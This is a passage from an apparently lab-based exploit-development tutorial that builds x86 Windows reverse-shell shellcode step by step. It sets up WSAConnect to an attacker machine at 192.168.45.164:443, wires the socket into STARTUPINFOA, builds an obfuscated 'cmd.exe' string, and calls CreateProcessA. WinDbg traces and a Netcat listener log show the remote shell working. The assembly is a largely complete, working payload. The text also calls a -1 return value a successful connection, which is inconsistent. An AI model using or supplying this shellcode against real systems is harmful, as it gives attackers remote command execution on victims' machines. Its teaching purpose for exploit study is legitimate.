eip=00a800f0 esp=02bcf3a4 ebp=02bcf9d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00a800f0 31c9            xor     ecx,ecx

With the socket created, we can call WSAConnect, which establishes a connection between two socket applications. As we have done for past API calls, let’s examine the function prototype.

1
2
3
4
5
6
7
8
9
int WSAAPI WSAConnect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen,
  LPWSABUF       lpCallerData,
  LPWSABUF       lpCalleeData,
  LPQOS          lpSQOS,
  LPQOS          lpGQOS
);

The first parameter of the WSAConnect API is the SOCKET type, simply named s. This parameter requires a descriptor to an unconnected socket, which is exactly what the previous call to WSASocketA returned. At this point in our shellcode, that value is in the EAX register, and we will need to ensure we do not overwrite it. Let’s move on to the second parameter, a pointer to a sockaddr structure. This structure varies depending on the protocol selected. For the IPv4 protocol, we will use the sockaddr_in structure, as mentioned in the official documentation. Let’s inspect the structure definition.

1
2
3
4
5
6
7
8
9
10
typedef struct sockaddr_in {
#if ...
  short          sin_family;
#else
  ADDRESS_FAMILY sin_family;
#endif
  USHORT         sin_port;
  IN_ADDR        sin_addr;
  CHAR           sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;

The first member of the structure is sin_family, which requires the address family of the transport address. Official documentation directs us to ensure this value is always set to AF_INET. The next member is sin_port, which as the name implies, specifies the port. This is followed by sin_addr, a nested structure of the type IN_ADDR. This nested structure will store the IP address used to initiate the connection to. The structure definition differs based on how the IP address is passed. In memory, however, the structures look identical. This means we can store the IP address inside a DWORD, as shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct in_addr {
  union {
    struct {
      UCHAR s_b1;
      UCHAR s_b2;
      UCHAR s_b3;
      UCHAR s_b4;
    } S_un_b;
    struct {
      USHORT s_w1;
      USHORT s_w2;
    } S_un_w;
    ULONG  S_addr;
  } S_un;
} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;

The last member of the sockaddr_in structure is sin_zero, a size 8 character array. According to the official documentation, this array is reserved for system use, and its contents should be set to 0. Now that we have discussed the sockaddr_in structure and the IN_ADDR nested structure, let’s take another look at the WSAConnect prototype.

1
2
3
4
5
6
7
8
9
int WSAAPI WSAConnect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen,
  LPWSABUF       lpCallerData,
  LPWSABUF       lpCalleeData,
  LPQOS          lpSQOS,
  LPQOS          lpGQOS
);

After the *name parameter, which is a pointer to the sockaddr_in structure, we need to provide the size of the previously-passed structure as the namelen parameter. We can calculate the size of sockaddr_in, which is 0x10 bytes long, using the data types from the structure definition. The next two parameters, lpCallerData and lpCalleeData, require pointers to user data that will be transferred to and from the other socket. According to the documentation, these parameters are used by legacy protocols and are not supported for TCP/IP. We can set both of these to be NULL. The lpSQOS parameter requires a pointer to the FLOWSPEC structure. This structure is used in applications that support quality of service (QoS) parameters. This is not the case for our shellcode, so we can set it to NULL. Lastly, the lpGQOS parameter is reserved and should be set to NULL. Before updating our shellcode, we need to convert the IP address and the port of our Kali machine to the correct format. This machine will receive the connection from our shellcode. We will use WinDbg while attached to the python.exe process for this conversion.

1
2
3
4
5
6
7
8
9
10
0:003> ? 0n192
Evaluate expression: 192 = 000000c0
0:003> ? 0n168
Evaluate expression: 168 = 000000a8
0:003> ? 0n45
Evaluate expression: 45 = 0000002d
0:003> ? 0n164
Evaluate expression: 164 = 000000a4
0:003> ? 0n443
Evaluate expression: 443 = 000001bb

With the hex values of our IP address and port generated, we can now update our shellcode with the call to the WSAConnect API.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    " call_wsaconnect:                   "  #
    "   mov   esi, eax                  ;"  #   Move the SOCKET descriptor to ESI
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push sin_zero[]
    "   push  eax                       ;"  #   Push sin_zero[]
    "   push  0xa42da8c0                ;"  #   Push sin_addr (192.168.45.164)
    "   mov   ax, 0xbb01                ;"  #   Move the sin_port (443) to AX
    "   shl   eax, 0x10                 ;"  #   Left shift EAX by 0x10 bits
    "   add   ax, 0x02                  ;"  #   Add 0x02 (AF_INET) to AX
    "   push  eax                       ;"  #   Push sin_port & sin_family
    "   push  esp                       ;"  #   Push pointer to the sockaddr_in structure
    "   pop   edi                       ;"  #   Store pointer to sockaddr_in in EDI
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push lpGQOS
    "   push  eax                       ;"  #   Push lpSQOS
    "   push  eax                       ;"  #   Push lpCalleeData
    "   push  eax                       ;"  #   Push lpCallerData
    "   add   al, 0x10                  ;"  #   Set AL to 0x10
    "   push  eax                       ;"  #   Push namelen
    "   push  edi                       ;"  #   Push *name
    "   push  esi                       ;"  #   Push s
    "   call dword ptr [ebp+0x24]       ;"  #   Call WSAConnect

The call_wsaconnect function starts by saving the socket descriptor (obtained in the previous step) to ESI. This will only work if our instructions do not mangle ESI before the call to WSAConnect. Next, we NULL the EAX register, and then push it twice to the stack. These two PUSH instructions set up the sin_zero character array from the sockaddr_in structure. We then proceed to push a DWORD that represents the hexadecimal value of our Kali IP address. We’ll need to push it in reverse order due to the endian byte order. This also applies to our next instruction, which moves a WORD to the AX register containing the hexadecimal representation of the desired port (443). Using the SHL instruction, we’ll left-shift the EAX value by 0x10 bits and then add 0x02 to the AX register. This is done because both the sin_port and sin_family members are defined as USHORT, meaning they are each two bytes long. Then we will push the resulting DWORD to the stack, completing the sockaddr_in structure. Next, we obtain a pointer to it using the PUSH ESP and POP EDI instructions to use later.

The next instruction nulls the EAX register, and we PUSH it to the stack four times. This sets up the NULL arguments for our function call. Next, we add 0x10 to the AL register and push it on the stack as our namelen argument. Finally, we push the pointer to the sockaddr_in structure, stored in EDI, and the socket descriptor from ESI. After all the arguments have been pushed on the stack, we call the API. Let’s run our updated shellcode, set a breakpoint at the call to WSAConnect, and inspect the arguments we pass.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:003> bp 0308011f
0:003> g
ModLoad: 73b90000 73be8000   C:\Windows\system32\mswsock.dll
Breakpoint 0 hit
eax=00000010 ebx=75880000 ecx=e2ab3de3 edx=00000002 esi=000001b4 edi=0346f57c
eip=0308011f esp=0346f560 ebp=0346fbc0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0308011f ff5524          call    dword ptr [ebp+24h]  ss:0023:0346fbe4={WS2_32!WSAConnect (75898f80)}
0:003> dds @esp L7
0346f560  000001b4
0346f564  0346f57c
0346f568  00000010
0346f56c  00000000
0346f570  00000000
0346f574  00000000
0346f578  00000000
0:003> dds edi L4
0346f57c  bb010002
0346f580  a42da8c0
0346f584  00000000
0346f588  00000000

According to the output above, we have successfully created the sockaddr_in on the stack, and passed the pointer to it as a parameter to WSAConnect. The rest of the parameters also seem to have been pushed onto the stack correctly. Before stepping over the call and inspecting the return value, let’s open a Netcat listener on our Kali machine. Although our reverse shell is not complete yet, this API call should initiate the connection, and we can catch it using Netcat. If the connection is unsuccessful, the API will time out.

1
2
3
4
5
0:003> p
eax=ffffffff ebx=75880000 ecx=6458a182 edx=00000000 esi=000001ac edi=0381f204
eip=01b00122 esp=0381f204 ebp=0381f848 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01b00122 31c9            xor     ecx,ecx

After stepping over the function, we observe that the return value is ffffffff (-1). According to the official documentation, this means that our call was unsuccessful. Not sure why, but it is attempting to establish connection with the Kali machine. Now that we have successfully initiated a connection, we need to find a way to start a cmd.exe process and redirect its input and output through our initiated connection. We’ll use the CreateProcessA API to, as its name suggests, create a new process. Below, we can examine the function prototype to better understand the required parameters.

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

The first parameter required by the API is lpApplicationName. This parameter must contain a pointer to a string, which represents the application that will be executed. If the parameter is set to NULL, the second parameter (lpCommandLine) can not be NULL, and vice-versa. This parameter expects a pointer to a string containing the command line to be executed. Our shellcode will use this parameter to run cmd.exe. Next, let’s address the lpProcessAttributes and lpThreadAttributes parameters, which require pointers to SECURITY_ATTRIBUTES type structures. For our shellcode, these parameters can be set to NULL. The following parameter, bInheritHandles, expects a TRUE (1) or FALSE (0) value. This value determines if the inheritable handles from the Python calling process are inherited by the new process (cmd.exe). We’ll need to set this value to TRUE for our reverse shell, which we’ll explore in more detail soon.

bInheritHandles is followed by the dwCreationFlags parameter, which expects various Process Creation Flags. If this value is NULL, the cmd.exe process will use the same flags as the calling process. The lpEnvironment parameter expects a pointer to an environment block. The official documentation indicates that if this parameter is set to NULL, it will share the same environment block as the calling process. lpCurrentDirectory allows us to specify the full path to the directory for the process. If we set it to NULL, it will use the same path as the current calling process. In our case, cmd.exe is added to the PATH, allowing us to launch the executable from any path. However, depending on which process the shellcode runs, this parameter might be required.

The last two parameters, lpStartupInfo and lpProcessInformation, require pointers to STARTUPINFOA and PROCESS_INFORMATION structures. Because the PROCESS_INFORMATION structure will be populated as part of the API, we only need to know the size of the structure. On the other hand, the STARTUPINFOA structure has to be passed to the API by our shellcode. To do this, we’ll need to review the members of the structure and set them up accordingly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

The official documentation shown above reveals that we only have to worry about a few members. We can set the remaining members to NULL. The first member we need to set is cb, which requires the size of the structure. We can easily calculate this value using its publicly available symbols and WinDbg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:002> dt STARTUPINFOA
MSVCR120!STARTUPINFOA
   +0x000 cb               : Uint4B
   +0x004 lpReserved       : Ptr32 Char
   +0x008 lpDesktop        : Ptr32 Char
   +0x00c lpTitle          : Ptr32 Char
   +0x010 dwX              : Uint4B
   +0x014 dwY              : Uint4B
   +0x018 dwXSize          : Uint4B
   +0x01c dwYSize          : Uint4B
   +0x020 dwXCountChars    : Uint4B
   +0x024 dwYCountChars    : Uint4B
   +0x028 dwFillAttribute  : Uint4B
   +0x02c dwFlags          : Uint4B
   +0x030 wShowWindow      : Uint2B
   +0x032 cbReserved2      : Uint2B
   +0x034 lpReserved2      : Ptr32 UChar
   +0x038 hStdInput        : Ptr32 Void
   +0x03c hStdOutput       : Ptr32 Void
   +0x040 hStdError        : Ptr32 Void
   
0:002> ?? sizeof(STARTUPINFOA)
unsigned int 0x44

The second member we need to worry about is dwFlags. It determines whether certain members of the STARTUPINFOA structure are used when the process creates a window. We’ll need to set this member to the STARTF_USESTDHANDLES flag to enable the hStdInput, hStdOutput, and hStdError members. We will examine why these members are important for our reverse shell shortly. It is worth mentioning that if this flag is specified, the handles of the calling process must be inheritable, and the bInheritHandles parameter must be set to TRUE. Because we will set the STARTF_USESTDHANDLES flag, we also need to set the members that this flag enables. The official documentation tells us that all of these members accept a handle, which receives input (hStdInput), output (hStdOutput), and error handling (hStdError). To interact with the cmd.exe process through our socket, we can specify the socket descriptor obtained from the WSASocketA API call as a handle. With a better understanding of the API prototype and the structures it uses, let’s inspect our updated shellcode. Since this API requires a large number of arguments and a large structure, we will break the shellcode down into a few functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    " create_startupinfoa:               "  #
    "   push  esi                       ;"  #   Push hStdError
    "   push  esi                       ;"  #   Push hStdOutput
    "   push  esi                       ;"  #   Push hStdInput
    "   xor   eax, eax                  ;"  #   Null EAX   
    "   push  eax                       ;"  #   Push lpReserved2
    "   push  eax                       ;"  #   Push cbReserved2 & wShowWindow
    "   mov   al, 0x80                  ;"  #   Move 0x80 to AL
    "   xor   ecx, ecx                  ;"  #   Null ECX
    "   mov   cx, 0x80                  ;"  #   Move 0x80 to CX
    "   add   eax, ecx                  ;"  #   Set EAX to 0x100
    "   push  eax                       ;"  #   Push dwFlags
    "   xor   eax, eax                  ;"  #   Null EAX   
    "   push  eax                       ;"  #   Push dwFillAttribute
    "   push  eax                       ;"  #   Push dwYCountChars
    "   push  eax                       ;"  #   Push dwXCountChars
    "   push  eax                       ;"  #   Push dwYSize
    "   push  eax                       ;"  #   Push dwXSize
    "   push  eax                       ;"  #   Push dwY
    "   push  eax                       ;"  #   Push dwX
    "   push  eax                       ;"  #   Push lpTitle
    "   push  eax                       ;"  #   Push lpDesktop
    "   push  eax                       ;"  #   Push lpReserved
    "   mov   al, 0x44                  ;"  #   Move 0x44 to AL
    "   push  eax                       ;"  #   Push cb
    "   push  esp                       ;"  #   Push pointer to the STARTUPINFOA structure
    "   pop   edi                       ;"  #   Store pointer to STARTUPINFOA in EDI

First, we introduce the create_startupinfoa function, which is responsible for creating the STARTUPINFOA and obtaining a pointer to it for later use. Next, we push the ESI register, which currently holds our socket descriptor, to the stack three times. This sets the hStdInput, hStdOutput, and hStdError members. This instruction is followed by pushing two NULL DWORDS setting the lpReserved2, cbReserved2, and wShowWindow members. Continuing the logic of our function, we set both the AL and CX registers to 0x80, and then add them together, storing the result in EAX. This value is then pushed as the dwFlags member. The only other parameter not set to NULL is cb, which is set to the structure size (0x44). As a final step in the create_startupinfoa function, we push the ESP register, which gives us a pointer to the STARTUPINFOA structure on the stack. We then POP that value into EDI. The next step is to store the “cmd.exe” string and obtain a pointer to it. The assembly instructions required to do that are shown below.

1
2
3
4
5
6
7
    " create_cmd_string:                 "  #
    "   mov   eax, 0xff9a879b           ;"  #   Move 0xff9a879b into EAX
    "   neg   eax                       ;"  #   Negate EAX, EAX = 00657865
    "   push  eax                       ;"  #   Push part of the "cmd.exe" string
    "   push  0x2e646d63                ;"  #   Push the remainder of the "cmd.exe" string
    "   push  esp                       ;"  #   Push pointer to the "cmd.exe" string
    "   pop   ebx                       ;"  #   Store pointer to the "cmd.exe" string in EBX

The Assembly instructions from above start by moving a negative value into EAX. This instruction is followed by a NEG instruction, which will result in the last part of the string including the NULL string terminator. This instruction allows us to avoid the NULL byte in our shellcode. Finally, we push the rest of the “cmd.exe” string to the stack, and obtain a pointer to it in EBX to use later. Now that we have the STARTUPINFOA structure and “cmd.exe” string ready, it’s time to set up the arguments and call the function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    " call_createprocessa:               "  #
    "   mov   eax, esp                  ;"  #   Move ESP to EAX
    "   xor   ecx, ecx                  ;"  #   Null ECX
    "   mov   cx, 0x390                 ;"  #   Move 0x390 to CX
    "   sub   eax, ecx                  ;"  #   Subtract CX from EAX to avoid overwriting the structure later
    "   push  eax                       ;"  #   Push lpProcessInformation
    "   push  edi                       ;"  #   Push lpStartupInfo
    "   xor   eax, eax                  ;"  #   Null EAX   
    "   push  eax                       ;"  #   Push lpCurrentDirectory
    "   push  eax                       ;"  #   Push lpEnvironment
    "   push  eax                       ;"  #   Push dwCreationFlags
    "   inc   eax                       ;"  #   Increase EAX, EAX = 0x01 (TRUE)
    "   push  eax                       ;"  #   Push bInheritHandles
    "   dec   eax                       ;"  #   Null EAX
    "   push  eax                       ;"  #   Push lpThreadAttributes
    "   push  eax                       ;"  #   Push lpProcessAttributes
    "   push  ebx                       ;"  #   Push lpCommandLine
    "   push  eax                       ;"  #   Push lpApplicationName
    "   call dword ptr [ebp+0x18]       ;"  #   Call CreateProcessA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(oscp㉿OSCP-KL-01)-[~]
└─$ sudo nc -lvp 443
listening on [any] 443 ...
192.168.212.10: inverse host lookup failed: Unknown host
connect to [192.168.45.164] from (UNKNOWN) [192.168.212.10] 51462
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Offsec\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is E84B-1647

 Directory of C:\Users\Offsec\Desktop

02/24/2025  08:40 AM    <DIR>          .
02/24/2025  08:40 AM    <DIR>          ..
02/24/2025  08:40 AM            14,926 shellcode.py
               1 File(s)         14,926 bytes
               2 Dir(s)  12,127,367,168 bytes free

C:\Users\Offsec\Desktop>